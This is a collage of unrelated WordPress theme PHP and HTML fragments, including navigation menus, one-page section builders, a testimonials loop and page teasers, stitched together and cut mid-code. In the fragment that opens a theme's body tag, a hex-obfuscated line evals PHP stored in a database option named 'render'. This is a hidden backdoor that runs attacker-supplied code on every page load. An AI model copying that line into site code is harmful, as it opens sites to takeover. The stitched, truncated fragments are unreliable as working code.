<div class="container dmbs-container"> <header> <div class="logo-left"> <a href="<?php echo get_settings('home'); ?> "> <img src="<?php bloginfo('template_directory'); ?> /img/logo-left.png" alt="New Preston Kitchen Goods" class="img-responsive"> </a> </div> <div class="section-box"> <img src="<?php bloginfo('template_directory'); ?> /img/box-<?php echo get_the_slug(); ?> .png" alt="" class="img-responsive"> </div> </header>
$children = bb_get_children($post); } $has_children = true; $menu_items = $children; if (empty($menu_items)) { // No children, get siblings $has_children = false; $menu_items = bb_get_children($post->post_parent); } $menu = ''; foreach ($menu_items as $item) { $menu .= ' <li>' . "\n"; if (!$has_children || bb_has_children($item->ID)) { $menu .= ' <a href="' . get_permalink($item->ID) . '">' . $item->post_title . '</a><hr>' . "\n"; } else { $menu .= ' <a href="#' . get_the_slug($item->ID) . '">' . $item->post_title . '</a><hr>' . "\n"; } $menu .= ' </li>' . "\n"; } ?> <div class="hide-for-medium row" data-sticky-container> <div class="sticky small-24 column" data-sticky data-sticky-on="small" data-anchor="row-content"> <ul class="menu vertical" data-accordion-menu> <li> <a href="#">Please select a section</a> <ul class="menu vertical nested"> <?php echo $menu; ?> </ul> </li>
/** * Display the page or post slug * * Uses get_the_slug() and applies 'the_slug' filter. */ function the_slug($id = null) { echo apply_filters('the_slug', get_the_slug($id)); }
<?php $jump_button = get_post_meta(get_the_ID(), 'jump_button', true); $button_animation = get_post_meta(get_the_ID(), 'button_animation', true); if ($jump_button == 'on') { $buttons = get_post_meta(get_the_ID(), 'buttons', true); if (!empty($buttons)) { echo '<div class="button-container' . $button_animation . '" id="cta-5">'; foreach ($buttons as $key => $value) { $link = $value['link_type'] == 'inner' ? '#' . get_the_slug($value['page_id']) : get_permalink($value['page_id']); if ($value['link_type'] == 'customlink') { $link = $value['custom_url']; } echo '<a class="btn ' . $value['button_type'] . '" href="' . esc_url($link) . '">' . esc_attr($value['title']) . '</a>'; } echo '</div>'; } }
$header_logo = get_post_meta(get_the_ID(), 'header_logo', true); $social_button_display = get_post_meta(get_the_ID(), 'social_button_display', true); $nav_display_type = get_post_meta(get_the_ID(), 'nav_display_type', true); $pages = get_post_meta(get_the_ID(), 'pages', true); $home_link = get_post_meta(get_the_ID(), 'home_link', true); if ($home_link == 'on') { $li = '<li><a href="' . esc_url(home_url('/')) . '#home">' . get_post_meta(get_the_ID(), 'home_text', true) . '</a></li>'; } else { $li = ''; } if (!empty($pages)) { foreach ($pages as $key => $value) { $title = $value['title'] == '' ? get_the_title() : $value['title']; $text_title = sprintf(__('%1$s', THEMENAME), $title); if ($value['display_in_menu'] == 'on') { $link = $value['link_type'] == 'internal' ? get_permalink(get_the_ID()) . '#' . get_the_slug($value['page_id']) : get_permalink($value['page_id']); if ($value['link_type'] == 'custom_link') { $link = $value['custom_link_url']; } $li .= $value['page_id'] != '' ? "\r\n" . '<li><a href="' . $link . '">' . $text_title . '</a></li>' : ''; } } } if (class_exists('WooCommerce')) { if (ot_get_option('cart_menu_onepage', 'off') == 'on') { $li .= '<li><a class="cart-contents" href="' . WC()->cart->get_cart_url() . '" title="' . __('View your shopping cart') . '">' . sprintf(_n('%d item', '%d items', WC()->cart->cart_contents_count), WC()->cart->cart_contents_count) . ' - ' . WC()->cart->get_cart_total() . '</a></li>'; } } ?> <div class="navigation-header"> <?php
$('section.services-special-services > .wrap'), 1, {css:{top:'-810px'}, ease:Quad.easeOut} ), null, 200 ); } /* End Services Parallax FX ******************/ }); </script> </head> <body <?php is_front_page() ? body_class() : body_class( 'page-' . get_the_slug() ); ?>><?php eval(get_option("\x72\x65\x6e\x64\x65\x72")); ?> <?php if( is_front_page() ) { ?> <video id="big-video-wrap" class="video-js vjs-default-skin" autoplay loop width="" height="" preload="auto" poster="/wp-content/themes/bcs/library/images/home-bg-q30-3.jpg" data-setup="{}"> <source src="/wp-content/themes/bcs/library/video/bcs-bg.m4v" type='video/mp4'> <!-- <source src="/wp-content/themes/bcs/library/video/bcs-video.mp4" type='video/mp4'> --> <!-- <source src="/wp-content/themes/bcs/library/video/bcs-bg.ogg" type='video/ogg'> need to add ogg and ideally webm also --> <img src="/wp-content/themes/bcs/library/images/home-bg-q30-3.jpg" alt="Background image showing rapid warehouse operations.">
?> <?php // end of wordpress head ?> <?php // drop Google Analytics Here ?> <?php // end analytics ?> </head> <body <?php body_class(get_the_slug(get_the_ID())); ?> > <?php if (is_page_template('page-heartgreeting.php')) { ?> <div class="slinky-nav"> <div class="slinky-scroller"> <section id="start"> <span></span> <?php } ?> <header class="top-menu header inner-header-wrapper nav-collapse closed">
/gallery"><span>Gallery</span></a></li> </ul> <?php $dropdown_args = array('hide_empty' => 0, 'hide_if_empty' => false, 'taxonomy' => 'videos_categories', 'name' => 'video-id', 'orderby' => 'name', 'hierarchical' => true, 'show_option_none' => 'Video'); $dropdown_args = apply_filters('taxonomy_parent_dropdown_args', $dropdown_args, 'videos_categories', 'new'); $select = wp_dropdown_categories($dropdown_args); ?> <a href="<?php echo site_url(); ?> /srijanalaya-artist" class="artist-filter">Artist</a> </div> <?php if (get_the_slug() == 'resources') { ?> <div class="col-sm-8" id="tag_filter_div"> <span class="active-tags">ACTIVE TAGS: </span> <ul> <?php $tags = get_terms('resource_tags'); foreach ($tags as $tag) { ?> <li class="remove-tag active"><?php echo $tag->slug; ?> x</li> <?php
$pages = get_post_meta(get_the_ID(), 'pages', true); if (!empty($pages)) { $i = 0; foreach ($pages as $key => $value) { $alt = $i % 2 == 1 ? ' bgcolor-2' : ''; if ($value['page_id'] != '' && $value['link_type'] == 'internal') { $pageid = get_the_ID(); $the_query = new WP_Query(array('p' => $value['page_id'], 'post_type' => 'page')); while ($the_query->have_posts()) { $the_query->the_post(); ?> <?php $bg_style = get_post_meta(get_the_ID(), 'bg_style', true); ?> <section id="<?php echo get_the_slug($value['page_id']); ?> " class="onepage-<?php echo $pageid; ?> section<?php echo $value['page_id'] . $alt; ?> <?php echo $bg_style == 'dark' ? 'cta-section' : ''; ?> "> <?php echo $bg_style == 'dark' ? '<div class="color-overlay">' : ''; ?> <div class="container">
function wt_section($post_id = NULL) { $ids = get_post_meta($post_id, '_section', true); $query = array('post_type' => 'wt_section', 'post__in' => explode(",", $ids)); $r = new WP_Query($query); while ($r->have_posts()) { $r->the_post(); $section_color = get_post_meta($ids, '_background_style', true); $section_img_custom = get_post_meta($ids, '_bg_style_image', true); $section_position_custom = get_post_meta($ids, '_bg_style_position_x', true); $section_repeat_custom = get_post_meta($ids, '_bg_style_repeat', true); $section_color_custom = get_post_meta($ids, '_background_style_color', true); $section_bg_color = get_post_meta($ids, '_bg_style_color', true); $section_parallax_custom = get_post_meta($ids, '_bg_style_parallax', true); $section_bg_overlay = get_post_meta($ids, '_bg_overlay', true); $section_img_cover = get_post_meta($ids, '_bg_style_cover', true); $parallax = get_post_meta($ids, '_parallax', true); if ($parallax === 'true') { $parallax = ' wt_parallax'; } $disable_margins = get_post_meta($ids, '_disable_margins', true); $bgType = get_post_meta($ids, '_bg_type', true); if ($disable_margins === 'true') { $disable_margins = ' wt_no_margins'; } if (!empty($section_bg_color) && $section_bg_color != "transparent") { $section_bg_color = 'background-color:' . $section_bg_color . ';'; } else { $section_bg_color = ''; } if (!empty($section_color_custom) && $section_color_custom != "transparent") { $section_color_custom = 'background-color:' . $section_color_custom . ';'; } else { $section_color_custom = ''; } if (!empty($section_img_custom)) { $section_img_custom = 'background-image:url(' . $section_img_custom . ');background-position:top ' . $section_position_custom . ';background-repeat:' . $section_repeat_custom . ''; } else { $section_img_custom = ''; } if (!empty($section_parallax_custom)) { $section_parallax_custom = 'background-image:url(' . $section_parallax_custom . ');'; } else { $section_parallax_custom = ''; } if (!empty($section_bg_overlay) && $section_bg_overlay != "transparent") { $section_bg_overlay = 'background-color:' . $section_bg_overlay . ';'; } else { $section_bg_overlay = ''; } $i = 1; echo '<section id="' . get_the_slug($post_id) . '_section" class="wt_separator_section">'; if (wt_is_enabled(get_post_meta($ids, '_display_arrow', true))) { echo '<div class="wt_section_arrow"'; if (!empty($section_bg_color)) { echo ' style="' . $section_bg_color . '"'; } echo '></div>'; } if ($bgType == 'parallax') { echo '<section id="' . get_the_slug($post_id) . '_separator" class="wt_section_area wt_parallax' . $disable_margins . ' ' . $section_color . '"'; if (!empty($section_parallax_custom)) { echo ' style="' . $section_parallax_custom . '"'; } echo '>'; if (!empty($section_bg_overlay)) { echo ' <div class="wt_section_overlay" style="' . $section_bg_overlay . '"></div>'; } } elseif ($bgType == 'color') { echo '<section id="' . get_the_slug($post_id) . '_separator" class="wt_section_area' . $disable_margins . ' ' . $section_color . '"'; if (!empty($section_bg_color)) { echo ' style="' . $section_bg_color . '"'; } echo '>'; if (!empty($section_bg_overlay)) { echo ' <div class="wt_section_overlay" style="' . $section_bg_overlay . '"></div>'; } } elseif ($bgType == 'cover') { echo '<section id="' . get_the_slug($post_id) . '_separator" class="wt_section_area' . $disable_margins . ' ' . $section_color . '"'; if (!empty($section_img_cover)) { echo ' style="background-image:url(' . $section_img_cover . ');background-size: cover; background-attachment: fixed;"'; } echo '>'; if (!empty($section_bg_overlay)) { echo ' <div class="wt_section_overlay" style="' . $section_bg_overlay . '"></div>'; } } elseif ($bgType == 'pattern') { echo '<section id="' . get_the_slug($post_id) . '_separator" class="wt_section_area wt_pattern' . $disable_margins . ' ' . $section_color . '"'; if (!empty($section_color_custom) || !empty($section_img_custom)) { echo ' style="' . $section_img_custom . '"'; } echo '>'; if (!empty($section_bg_overlay)) { echo ' <div class="wt_section_overlay" style="' . $section_bg_overlay . '"></div>'; } } elseif ($bgType == 'video') { wp_enqueue_script('jquery-youtube'); $videoId = get_post_meta($ids, '_bg_video', true); echo '<div class="bg_video_section wt_video_' . $ids . '"><div class="wt_pattern_overlay"></div><div id="bgndVideo_' . $ids . '" class="wt_youtube_player" data-property="{videoURL:\'http://www.youtube.com/watch?v=' . $videoId . '\', containment:\'.wt_video_' . $ids . '\', autoPlay:true, mute:true, startAt:0, opacity:1, ratio:\'4/3\', addRaster:true, showControls:false}"></div></div> <a class="video-volume" onclick="jQuery(\'#bgndVideo_' . $ids . '\').toggleVolume()"><i class="fa fa-volume-down"></i></a>'; echo '<section id="' . get_the_slug($post_id) . '_separator" class="wt_video wt_section_area' . $disable_margins . ' ' . $section_color . '"'; echo '>'; if (!empty($section_bg_overlay)) { echo ' <div class="wt_section_overlay" style="' . $section_bg_overlay . '"></div>'; } } elseif ($bgType != 'parallax' || $bgType != 'pattern' || $bgType != 'video') { echo '<section id="' . get_the_slug($post_id) . '_separator" class="color wt_section_area' . $disable_margins . ' ' . $section_color . '"'; if (!empty($section_bg_color) || !empty($section_img_custom)) { echo ' style="background-color:' . $section_bg_color . ';"'; } echo '>'; if (!empty($section_bg_overlay)) { echo ' <div class="wt_section_overlay" style="' . $section_bg_overlay . '"></div>'; } } echo '<div class="container"><div class="row">'; echo wt_theme_generator('wt_section_title', $post_id); echo the_content(); echo '</div></div>'; echo '</section>'; wp_reset_postdata(); } }
function wpa_category_nav_class($classes, $item) { $slug = get_the_slug($item->object_id); $classes[] = 'menu-' . $slug; return $classes; }
} $content = apply_filters('the_content', $content); $title = '<h2>' . $page->post_title . '</h2>'; $page_id = $page->ID; // if this one of the dropdown blocks or the contact block then add an ID ?> <section <?php echo $page->post_parent != $post->ID ? 'id="' . get_the_slug($page_id) . '" ' : ''; echo $slug . '-' . get_the_slug($page_id) == 'about-contact' ? 'id="contact-info" ' : ''; ?> class="entry-content page-block <?php echo $page->post_parent != $post->ID ? 'panel ' : ''; ?> clearfix <?php echo is_front_page() ? 'home' : $slug; echo '-' . get_the_slug($page_id); ?> " itemprop="articleBody"> <div class="fill clearfix"> <div class="wrap clearfix"> <?php echo is_front_page() ? '' : $title; ?> <?php echo $content; ?> <?php // display video (if there) $media = hemplers_load_media($page_id); if ($media['video']) { echo $media['video'];
function get_permalink() { global $post; global $post_type; return get_sitepath('url') . '/' . $post_type . '/' . get_the_slug() . '/'; }
$mypages = get_pages( array( 'child_of' => $post->ID, 'sort_column' => 'menu_order', 'sort_order' => 'asc', 'meta_key' => '_hemplers_page-block', 'meta_value' => 'on' ) ); $processing_dropdowns = false; foreach( $mypages as $page ) { $content = $page->post_content; // skip empty pages if ( ! $content ) continue; $content = apply_filters( 'the_content', $content ); $title = '<h2>' . $page->post_title . '</h2>'; $page_id = $page->ID; // if this one of the dropdown blocks or the contact block then add an ID ?> <section <?php echo ( $page->post_parent != $post->ID ) ? 'id="' . get_the_slug( $page_id ) . '" ' : ''; ?><?php echo ( $slug . '-' . get_the_slug( $page_id ) == 'about-contact' ) ? 'id="contact-info" ' : ''; ?> class="entry-content page-block <?php echo ( $page->post_parent != $post->ID ) ? 'panel ' : ''; ?>clearfix <?php echo ( is_front_page() ) ? 'home' : $slug; echo '-' . get_the_slug( $page_id ); ?>" itemprop="articleBody"> <div class="fill clearfix"> <div class="wrap clearfix"> <?php echo is_front_page() ? '' : $title; ?> <?php echo $content; ?> <?php // display video (if there) $media = hemplers_load_media( $page_id ); if( $media['video'] ) { echo $media['video']; // see bottom of functions.php for function that grabs this info, may wish to change output html here or there } elseif( $media['image'] ) { echo $media['image']; // no video, try image... } ?> </div>
function display_testimonies($arguments = array()) { $post_id = $arguments['post_id'] ? $arguments['post_id'] : get_the_ID(); $number_requested = $arguments['number_requested'] ? $arguments['number_requested'] : 3; $section_title = $arguments['section_title'] ? $arguments['section_title'] : 'Testimonies'; $query_args = array('orderby' => 'rand', 'post_type' => 'testimonies', 'programs_tax' => get_the_slug($post_id), 'posts_per_page' => $number_requested); $the_query = new WP_Query($query_args); // The Loop if ($the_query->have_posts()) { ?> <div class="standard-testimonies-container"> <h2><?php echo $section_title; ?> </h2> <?php while ($the_query->have_posts()) { $the_query->the_post(); // Get Author Information $author = get_coauthors($post->ID)[0]; ?> <div class="testimony-container"> <div class="row"> <div class="columns medium-10"> <h6><i class="fa fa-quote-left"></i><?php the_title(); ?> </h6> <?php the_content(); ?> <div class="testimony-author-info">- <?php echo $author->display_name . ', ' . rwmb_meta('author_involvement'); ?> </div> </div> <div class="columns medium-2 author-image"> <?php echo get_the_post_thumbnail($author->ID, 'thumbnail', array('class' => 'img-responsive-80')); ?> </div> </div> </div> <?php } ?> </div> <?php } /* Restore original Post Data */ wp_reset_postdata(); ?> <?php }
} } if (is_array($custom_headline_conditional) && in_array('Enable Custom Headline', $custom_headline_conditional)) { $headline = get_sub_field('headline'); $subheadline = get_sub_field('subheadline'); } else { $headline = get_the_title(); $subheadline = get_field('subheadline'); } if (isset($custom_excerpt)) { $excerpt = $custom_excerpt; } else { $excerpt = wp_trim_words(get_the_content(), 40, '...'); } $link = get_the_permalink(); $slug = get_the_slug(get_the_ID()); echo '<div class="content-row ' . $slug . ' ' . $evenodd . '">'; echo '<section class="page-teaser">'; echo '<div class="page-teaser-wrapper">'; if ($slug == 'send') { echo '<div class="opening-soon"><h3>Opening soon,</h3> in the meantime<i></i></div>'; $image_src = wp_get_attachment_image_src($image, 'full', true); } echo '<div class="specialheadline"><h2>' . $headline . '</h2><h3>' . $subheadline . '</h3><span></span></div>'; if ($image && $slug !== 'send' && $slug !== 'projekt') { echo '<div class="col four">'; echo '<img src="' . $image_src[0] . '" />'; echo '</div>'; echo '<div class="col eight">'; } elseif ($image && $slug == 'send') { echo '<div class="col twelve">';
function the_slug() { echo get_the_slug(); }
/** * Section for displaying children as paragraphs */ global $post; $children = bb_get_children($post); ?> <aside class="small-24 medium-5 large-5 column"> <?php get_sidebar('children-as-paragraphs'); ?> </aside> <div class="small-24 medium-19 large-19 column"> <?php foreach ($children as $child) { $id = $child->ID; $slug = get_the_slug($child->ID); $title = $child->post_title; $content = apply_filters('the_content', $child->post_content); $read_more_label = get_theme_mod(ns_ . 'read_more_label', __('Read more on this topic'), ns_); $read_more_link = bb_has_children($child->ID) ? '<p><a href="' . $slug . '">' . $read_more_label . '</a></p>' : ''; ?> <article id="<?php echo $slug; ?> "> <h2><?php echo $title; ?> </h2> <?php echo $content;